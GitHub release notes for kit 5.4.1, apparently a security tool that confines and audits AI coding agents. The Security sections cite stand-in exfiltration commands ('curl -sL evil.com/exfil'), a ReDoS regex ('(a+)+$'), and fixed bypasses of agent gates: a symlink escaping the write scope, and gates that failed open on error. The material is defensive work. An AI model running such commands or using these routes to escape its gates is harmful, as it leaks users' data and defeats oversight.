Skip to content

kit 5.4.1

Choose a tag to compare

@sandstream sandstream released this 24 Jul 21:50
cd7a9fb

Note: 5.3.0 and 5.4.0 were prepared but never tagged or published to npm — their
changes ship inside 5.4.1. Their changelog sections are included below for completeness.

Security

  • Lockfile bump to clear a newly-published high transitive advisory in fast-uri
    (host confusion via failed IDN canonicalization / literal backslash authority delimiter —
    GHSA-4c8g-83qw-93j6, GHSA-v2hh-gcrm-f6hx) via a non-forcing npm audit fix. No source
    changes; identical CLI surface to 5.4.0. (5.4.0's publish was blocked by the publish gate's
    npm audit --audit-level=high step when the advisory landed; this is the audit-clean
    re-release.)

[5.4.0] - 2026-07-21

Added

  • kit triage mcp — MCP-Security-Checklist static checks (borrowed from SlowMist/OWASP MCP
    Top 10).
    Beyond tool-poisoning (R7) and rug-pull drift, triage now surfaces four deterministic,
    static review signals: dangerous-capability (a tool name/description implying arbitrary
    exec/deletion — confirm least-privilege + human approval), secret-as-parameter (a param
    shaped like a credential — inject at the boundary, MCP01), undocumented (a tool with no
    description — can't be triaged), and unconstrained-input (additionalProperties: true).
    All heuristic-confidence and advisory — they surface for review but never flip the pass/fail
    verdict, which stays gated on high-confidence poisoning + drift (no false-block). checklistFindings
    is exported + unit-tested; pure and deterministic.

  • kit memory export --obsidian <dir> — the curated shared tier as an Obsidian vault (J3).
    Renders each shared decision/convention as an Obsidian note (YAML frontmatter with
    id/area/kind/status/provenance + kit/* tags, an H1 title, body, refs) grouped under area/,
    with [[wikilinks]] for supersede/reverse relations and a per-area _index.md MOC. Pure,
    deterministic renderer (renderObsidianVault); --json emits a dry-run manifest (paths +
    bytes, no writes); write errors fail closed (never a partial-export "success"). Read-only over
    already-secret-scanned entries, so the export never re-introduces a secret.

  • kit memory search --brief — progressive-disclosure recall (B3). Returns the minimal
    sufficient slice
    of a recall — top-ranked hits trimmed to budget-bounded snippets — and reports
    how many were withheld so you can expand (--limit / drop --brief), instead of dumping
    every match into context. Never silently truncates: the withheld count is explicit (same
    discipline as kit map's logged drops), and the first hit is always disclosed. Pure core
    progressiveDisclose (deterministic; default 1200-char budget / 240-char snippets / 8 hits),
    unit-tested; --json carries the structured disclosure.

  • kit memory rule aging — surface stale machine-origin rules for review, never auto-drop (B2).
    Curated shared-tier rules now carry a deterministic aging class: only derived/inferred
    active rules age (fresh < 180d ≤ aging < 360d ≤ stale); an operator's explicit rule is
    foundational and never ages
    (the human owns its relevance), and superseded/reversed entries are
    history. kit memory areas prints an aging nudge when machine-origin rules go stale; kit memory area <name> badges each entry and takes --stale to show only aged-out rules for review (JSON
    carries the aging field). kit never deletes — it flags for re-affirm/supersede. Pure core
    (classifyAging / agingReport), unit-tested; deterministic, zero-LLM.

  • kit scan delegate library — connect what kit shouldn't rebuild, toggleable. The external
    scanner registry (snyk/trivy/grype/semgrep/osv-scanner/socket) is now a toggleable delegate
    library
    , mirroring the coverage-standards registry: kit scan --list-delegates enumerates it
    with on/off state, and [scan].delegates in .kit.toml is an allow-list that picks which
    scanners run (absent/empty ⇒ all on, backwards-compatible). The principle it encodes: kit
    delegates detection to best-of-breed tools, never its verdict
    — findings still merge into
    one deterministic, fail-closed result. enabledScanners / isScannerEnabled / SCANNER_IDS
    are exported + unit-tested.

  • kit coverage — agent-native standards + a toggleable standards library. Coverage
    evidence maps are now a registry (single source of truth) instead of a hardcoded pair, and
    two standards native to kit's own lane land as the first new entries: OWASP Top 10 for Agentic
    Applications (2026)
    (--standard=agentic-top10) and OWASP MCP Top 10 (2025)
    (--standard=mcp-top10). --standard=all runs every enabled standard; --list-standards
    enumerates the library with on/off state; and [coverage].standards in .kit.toml is an
    allow-list that toggles standards on and off (absent ⇒ all on, backwards-compatible). Adding a
    future standard is one registry entry + its descriptor. Still an evidence map, never a
    compliance attestation
    ; deterministic and zero-LLM. The two new maps are honest about kit's
    lane — strong on tool-misuse / identity+privilege / supply-chain / memory-poisoning / audit,
    explicit gap/na on inter-agent comms, cascading failures, human-trust, and rogue-agent
    detection. (Control ids/titles confirmed via secondary indexes; owasp.org first-party fetch was
    HTTP-403 blocked — caveat carried on each descriptor.)

[5.3.0] - 2026-07-19

Added

  • kit broker enforce — the guided observe→enforce flip (Pillar 3 capstone). Turns the
    exec-broker from observational to protective in one evidence-gated command. It runs the
    enforce-readiness pre-flight and refuses without --force unless the verdict is ready
    (fail-closed — it will not silently enable a posture the observed evidence says would break, or
    one with no evidence at all), then sets [scope].enforce_runtime = true, re-signs the
    profile scope (so the flip is attributable — enforce only takes effect under a valid signature),
    and audits the transition (phase: "enforce-enabled"). On a sign failure it surfaces that the
    scope won't verify until re-signed (never a silent half-enabled state). Completes the
    observe→enforce ladder: enforce-readiness (E1/E2) tells you it's safe; enforce does it.
    Deterministic, zero-LLM. --json for machines. kit doctor's exec-broker-runtime row now
    gives an evidence-based nudge: in observe with a clean window it points to kit broker enforce; with would-be denials it points to kit broker enforce-readiness to see them first.

  • kit memory search --fresh — recency-aware recall (deterministic, zero-LLM). By default
    recall is bm25 relevance-first (unchanged). --fresh fetches a larger candidate pool and
    RRF-fuses two incommensurable signals — bm25 relevance and recency — by rank (no score
    normalization), so a fresh, still-relevant hit can outrank a marginally-more-relevant stale
    one ("when relevance is otherwise equal, the newer answer wins"). Relevance still dominates;
    recency breaks the lower ranks. Exposes a reusable fuseByRrf primitive for future
    multi-signal fusion. Borrowed from the Cerebras knowledge-base ranking stack, kept on-charter
    (kit has one lexical retriever + recency; no embeddings, no reranker model).

  • kit broker enforce-readiness — graduate observe→enforce on evidence, not nerve.
    The exec-broker runtime ladder is off → observe → enforce, but the human step between the last
    two had no evidence: an operator in observe (which watches but never denies) had no way to
    answer "is it safe to flip to enforce?", so people stayed in observe forever and the
    governance never actually protected. This command reads the recorded observe window
    (.kit-audit.jsonl, the wouldDeny events observe already writes) and reports a verdict:
    ready (nothing observed would be denied), would-block (+ the exact would-be
    denials, tallied — so you declare them in [scope] and re-sign, or accept them knowingly,
    before flipping), or the honest untested (no observe data — deliberately not a green
    "ready"; coverage is only what was observed). Turns the flip from a leap into a diff.
    --json for machines; --gate fails CI on any not-ready verdict. Deterministic, zero-LLM,
    reads the audit log only — never executes anything. (The guided kit broker enforce flip is
    a follow-up.)

  • kit memory captures the full decision lifecycle — negative-space kinds + provenance.
    The curated shared tier gains two kinds for the knowledge that evaporates hardest:
    idea (considered / not-yet-built) and abandoned (tried and dropped, with the
    reason). abandoned entries are re-surfaced on resume for the area you're touching — so
    the next session sees "we tried X here and dropped it, because Y" before re-trying it.
    Entries also carry optional provenance (operator | derived | inferred, absent ⇒
    operator) and confidence; recall now orders an operator's explicit statement above
    a pattern kit merely derived, then by recency. Both fields are signature-covered and written
    only when set, so existing entries stay byte-identical. kit memory share gains
    --provenance / --confidence and now validates --kind (a typo no longer persists a
    garbage kind). Deterministic, zero-LLM.

Security

  • Standards plugins reject ReDoS-prone regexes at load (class E — completes the bug sweep).
    A declarative standards plugin's match was compiled and run over every source line with no
    protection against catastrophic backtracking, so a crafted plugin (match = '(a+)+$') could
    hang kit check indefinitely — a fail-open DoS via a PR-submitted TOML. A deterministic,
    dependency-free detector (hasReDoSRisk) now flags the classic nested-unbounded-quantifier
    shape ((a+)+, (\d*)*, ((ab)+)+, (a{2,})+) and rejects such a plugin at load with an
    integrity warning — it is never compiled into the per-line evaluator. Honest limit: it catches
    the nested-quantifier class (the common, cited ReDoS), not every catastrophic regex; the
    existing max-line-length cap remains as defense-in-depth.

  • Secrets, audit, and scanner robustness (four bug-sweep findings, class F).

    • "manual" rotation policy no longer crashes the vault. storeSecret/rotateSecret did
      parseInt(rotation_policy), which is NaN for the valid "manual" value → new Date(now + NaN).toISOString() threw RangeError (and in rotateSecret, after the key was already
      rotated — leaving unaudited, inconsistent state). Day-based policies (30d/60d/90d) are
      now matched explicitly; manual/never simply leave next_rotation_at unset.
    • kit gha-audit no longer reports a false green over unreadable workflows. A workflow it
      could not read (perms/EISDIR/TOCTOU) was silently skipped, then the run emitted "all actions
      pinned" — a false pass for a supply-chain scanner. Unreadable workflows now surface a
      scanner-health warn naming them, and the blanket pass is suppressed.
    • Staged-secret pre-commit scan no longer falls back to a divergent working copy. On a
      git show :file failure (e.g. a staged blob over the buffer cap) it read the working copy —
      which a developer can clean after staging the secret, the exact un-stage bypass the scan
      exists to stop. The cap is raised so realistic files scan from the staged blob, and an
      unreadable staged blob now fails closed (flagged) instead of trusting the working copy.
    • kit audit secrets --since-days NaN-guarded — a non-numeric value silently returned all
      events (window ignored); it now falls back to 30.
  • Malformed input now yields a verdict, never an uncaught crash (fail-closed parsers). The
    bug sweep found the historical "malformed file → uncaught throw → empty stdout" class had
    reappeared in several spots, all now fixed:

    • a malformed/schema-invalid .kit-profile.toml crashed every kit profile subcommand
      (show/check/sign/verify/freeze) with an uncaught InvalidProfileError and empty
      --json stdout — a denial-of-verdict for CI. The top-level handler now catches
      KIT_INVALID_PROFILE exactly like KIT_INVALID_CONFIG: a clean {ok:false,error} JSON +
      exit 1.
    • classifyGuardDog and the SARIF/OSV ingesters (parseSarif/parseOsv) dereferenced a
      JSON.parse result without a non-object guard, so a literal null (valid JSON) threw a
      TypeError — for GuardDog, crashing the whole kit check --category security run. They now
      treat a null/non-object result as "unverified"/[] per their documented fail-closed contract.
  • egress-gate now enforces scheme-less curl/wget targets. Network-target extraction
    parsed only explicit http(s):// URLs, so curl evil.com, wget evil.com/x, and
    curl -sL evil.com/exfil — the most common egress forms — produced zero hosts and the signed
    [scope].egress allowlist was not enforced for them (a fail-open the sweep flagged). A
    second, still-conservative extraction pass now reads the positional argument of curl/wget
    as a network target, skipping value-taking flags (-o out.txt, -H, -d @data.json, …) so
    their arguments are never mistaken for hosts, and only accepting a strict dotted-domain shape
    (zero false positives — localhost, bare words, and -o/-d values are not treated as
    hosts). Implicit-registry tools (git/npm/pip), non-http schemes, and variable-expanded
    URLs remain out of reach — command-string inspection is defense-in-depth, documented as such,
    not a substitute for a network sandbox.

  • exec-broker PreToolUse gates hardened to fail closed (three bypasses, found by an internal
    bug sweep).
    The runtime enforcement point (kit gate-fs / kit gate-egress) and the CLI's
    gate dispatch had gaps where an attacker or an internal fault could slip past confinement:

    • fs-gate was symlink-blind. It ran only the pure string-containment check and omitted the
      symlink-aware realpath check the canonical exec-broker already uses, so a symlink inside the
      signed [scope].fs root pointing outside (e.g. data → /) let a write escape scope. The
      gate now requires both checks per root — parity with the broker (the enforcement point
      must never be weaker than the broker it mirrors). The realpath check now lives in a shared
      exec-broker/realpath-check.ts so there is one source of truth.
    • A gate that threw failed OPEN. Deny is signalled by exit 2; any thrown error fell
      through to the generic exit 1 (a non-blocking PreToolUse result), so an internal fault
      (e.g. the working directory removed mid-run → process.cwd() throws) would silently ALLOW
      the very operation the gate exists to mediate. Gate dispatch now runs fail-closed: any
      handler fault DENIES (exit 2 / Cline {cancel:true}).
  • SkillSpector delegate now passes --no-llm explicitly (kit triage skill --deep).
    kit ran SkillSpector's Stage-1 static scan only, suppressing the optional Stage-2 LLM pass
    via env scrubbing alone (SKILLSPECTOR_PROVIDER="" + stripped provider keys). It now also
    passes the --no-llm flag in the argv itself — belt-and-suspenders, so a future
    SkillSpector default or ambient config can never silently re-enable the model stage
    (which would ship file contents to a provider, breaking kit's zero-LLM / no-egress
    charter). The zero-LLM intent is now legible in the command line, not only the environment.


Full changelog: https://github.com/sandstream/kit/blob/v5.4.1/CHANGELOG.md

Verify this release:

git tag -v v5.4.1
npm audit signatures